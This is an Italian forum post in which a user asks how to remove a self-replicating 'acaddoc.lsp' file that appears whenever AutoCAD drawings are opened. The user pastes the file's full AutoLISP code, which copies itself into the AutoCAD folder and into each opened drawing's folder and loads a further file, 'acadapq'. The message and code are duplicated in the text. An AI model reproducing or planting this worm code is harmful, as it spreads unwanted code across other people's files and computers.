mar.dan
Guest
tutte le volte che apro un file di autocad con autocad 2012 ma anche su una versione 2010 su un altro pc, mi si crea in automatico un file che sia autonomina "acaddoc.lsp".
lo fa anche aprendo file vecchi di lavori eseguiti quando questo problema non c'era.
non so come fare per eliminarlo. ora lo stesso problema c'è anche sull'altro pc in cui ho voluto copiare/incollare un file dwg per vedere se lo faceva anche di là.
<hs tutta l'aria di essere un virus o qualcosa di simile da come si riproduce.
cosa faccio?
se apro il file con il blocco note c'è scritto questo:
"(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc )
(setq basepath
(findfile "base.dcl"))(setq basepath
(substr basepath 1 (- (strlen basepath) 8)))
(setq baseacad (strcat basepath "acaddoc.lsp"))
(setq acaddocpath (findfile "acaddoc.lsp"))
(setq acaddocpath (substr acaddocpath
1 (- (strlen acaddocpath) 11)))
(setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
(setq c-acaddocname (getvar "dwgname"))
(setq c-acaddocpath (findfile c-acaddocname))
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))))
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp"))
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath))
(progn
(setq r-acaddoc
(open acaddoclsp "r"))
(setq w-basepath
(open baseacad "w"))
(while
(setq rl-acaddoc
(read-line r-acaddoc))
(write-line rl-acaddoc w-basepath))
(close w-basepath)
(close r-acaddoc))
(progn
(setq r-acaddoc
(open acaddoclsp "r"))
(setq w-basepath
(open c-acaddoc "w"))
(while
(setq rl-acaddoc
(read-line r-acaddoc))
(write-line rl-acaddoc w-basepath))
(close w-basepath)
(close r-acaddoc)))
(princ))
(load "acadapq")
(princ)
"
lo fa anche aprendo file vecchi di lavori eseguiti quando questo problema non c'era.
non so come fare per eliminarlo. ora lo stesso problema c'è anche sull'altro pc in cui ho voluto copiare/incollare un file dwg per vedere se lo faceva anche di là.
<hs tutta l'aria di essere un virus o qualcosa di simile da come si riproduce.
cosa faccio?
se apro il file con il blocco note c'è scritto questo:
"(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc )
(setq basepath
(findfile "base.dcl"))(setq basepath
(substr basepath 1 (- (strlen basepath) 8)))
(setq baseacad (strcat basepath "acaddoc.lsp"))
(setq acaddocpath (findfile "acaddoc.lsp"))
(setq acaddocpath (substr acaddocpath
1 (- (strlen acaddocpath) 11)))
(setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
(setq c-acaddocname (getvar "dwgname"))
(setq c-acaddocpath (findfile c-acaddocname))
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))))
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp"))
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath))
(progn
(setq r-acaddoc
(open acaddoclsp "r"))
(setq w-basepath
(open baseacad "w"))
(while
(setq rl-acaddoc
(read-line r-acaddoc))
(write-line rl-acaddoc w-basepath))
(close w-basepath)
(close r-acaddoc))
(progn
(setq r-acaddoc
(open acaddoclsp "r"))
(setq w-basepath
(open c-acaddoc "w"))
(while
(setq rl-acaddoc
(read-line r-acaddoc))
(write-line rl-acaddoc w-basepath))
(close w-basepath)
(close r-acaddoc)))
(princ))
(load "acadapq")
(princ)
"